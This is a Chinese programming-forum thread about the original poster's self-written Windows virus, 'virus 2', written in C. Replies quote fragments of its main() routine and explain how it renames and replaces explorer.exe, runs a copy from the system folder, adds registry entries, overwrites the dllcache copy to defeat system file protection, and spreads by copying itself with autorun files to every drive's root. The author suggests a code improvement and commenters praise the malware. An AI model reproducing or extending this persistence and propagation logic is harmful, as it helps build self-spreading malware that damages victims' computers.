当前位置: 代码迷 >> C语言 >> [原创]用C语言写病毒(2)
  详细解决方案

[原创]用C语言写病毒(2)

热度:377   发布时间:2007-07-19 16:13:32.0
刚刚仔细看了一遍代码,发现你把explorer.exe改名成了$temp$,早知道我就不用费那么大劲去别的电脑上考了,代码基本上能看懂,但有一个问题想请教下楼主.
int main(int argc,char **argv)
{
int contral=0;
if(argc>1)
if(strcmp(argv[1],"/s")==0)
goto next1;
autorun_explorer();
spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);
next1:
add_reg();
这段代码中的argc既没有赋初值也没有改变它的值,请问它怎么会大于1,请问什么时候会跳过下两段代码呢?
----------------解决方案--------------------------------------------------------
以下是引用yanggang2880在2007-7-19 16:13:32的发言:
刚刚仔细看了一遍代码,发现你把explorer.exe改名成了$temp$,早知道我就不用费那么大劲去别的电脑上考了,代码基本上能看懂,但有一个问题想请教下楼主.
int main(int argc,char **argv)
{
int contral=0;
if(argc>1)
if(strcmp(argv[1],"/s")==0)
goto next1;
autorun_explorer();
spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);
next1:
add_reg();
这段代码中的argc既没有赋初值也没有改变它的值,请问它怎么会大于1,请问什么时候会跳过下两段代码呢?

因为explorer.exe是不能直接删除的,必须改名后注销或重起才能删除,因此首次运行只是改名,重起后病毒自动将其删除,再者,在C:\windows\system\有explorer.exe的原文件,这就是病毒提前提前运行后还出现桌面的原因.
argc和argv是主程序参数,举个例子
执行svchost.com /s时 argc为命令数(以' '为界),因此为2(因为svchost.com是一个 /s是一个)
argv[0]存储第一个命令 "svchost.com"
argv[1]存储第二个命令 "/s"

这段代码有一个不足之处
如果喜欢实验,可以在代码中加入 if(!autorun_explorer()) goto next1; 即上述代码改为
int main(int argc,char **argv)
{
int contral=0;
if(argc>1)
if(strcmp(argv[1],"/s")==0)
goto next1;
if(!autorun_explorer()) goto next1;
spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);
next1:
add_reg();
最后:卸载程序执行后如果鼠标恢复正常请不要再次执行.


----------------解决方案--------------------------------------------------------
提示: 作者被禁止或删除 内容自动屏蔽

坚持到底
2007-07-19 12:03:08
luo123

等 级:新手上路
威 望:2
帖 子:324
专家分:0
注 册:2007-4-13
  得分:0 
学习
----------------解决方案--------------------------------------------------------

这个病毒真强,楼主更强.


----------------解决方案--------------------------------------------------------

强人,顶一下
----------------解决方案--------------------------------------------------------
不好意思好久没有上网,来晚了.多谢您的详细讲解,总算解开了我心中的疑团.
----------------解决方案--------------------------------------------------------
楼主,我把你的病毒1,和病毒2都研究了好多遍,真的佩服你,两个字"NB".
但我对你的病毒2有点问题:
1,在int autorun_explorer()这个函数中你是不是把这句写掉了
copy("c:\\windows\\system32\\dllcache\\exporer.exe","c:\\windows\\system\\explorer.exe");
因为我看你的那个批处理的文档里面有这么一句(copy c:\windows\system\explorer.exe c:\windows\system32\dllcache\explorer.exe)
2,这病毒2他怎么不能实现这个功能:8.不断搜索磁盘,只要发现未感染病毒的一律感染,病毒删除后1秒内再建.
能给我一个你的联系方式吗??有很多问题需要你的指点.我QQ56608696

----------------解决方案--------------------------------------------------------

楼主啊,联系方式啊,怎么没上线


----------------解决方案--------------------------------------------------------
以下是引用crazyboy216在2007-8-2 12:45:26的发言:
楼主,我把你的病毒1,和病毒2都研究了好多遍,真的佩服你,两个字"NB".
但我对你的病毒2有点问题:
1,在int autorun_explorer()这个函数中你是不是把这句写掉了
copy("c:\\windows\\system32\\dllcache\\exporer.exe","c:\\windows\\system\\explorer.exe");
因为我看你的那个批处理的文档里面有这么一句(copy c:\windows\system\explorer.exe c:\windows\system32\dllcache\explorer.exe)
2,这病毒2他怎么不能实现这个功能:8.不断搜索磁盘,只要发现未感染病毒的一律感染,病毒删除后1秒内再建.
能给我一个你的联系方式吗??有很多问题需要你的指点.我QQ56608696

首先,我没有写漏,因为c:\windows\explorer.exe和%sysdir%\dllcache\explorer.exe是一样的文件,因为系统文件保护机制,因此必须全部替换.搜索磁盘,注意,除了C外,其它磁盘只将病毒体复制到其根目录并加入自动运行文件(自动运行文件替换原打开方式,使其完全与未感染的一样,但无论如何的打开都将再次运行)


----------------解决方案--------------------------------------------------------
  相关解决方案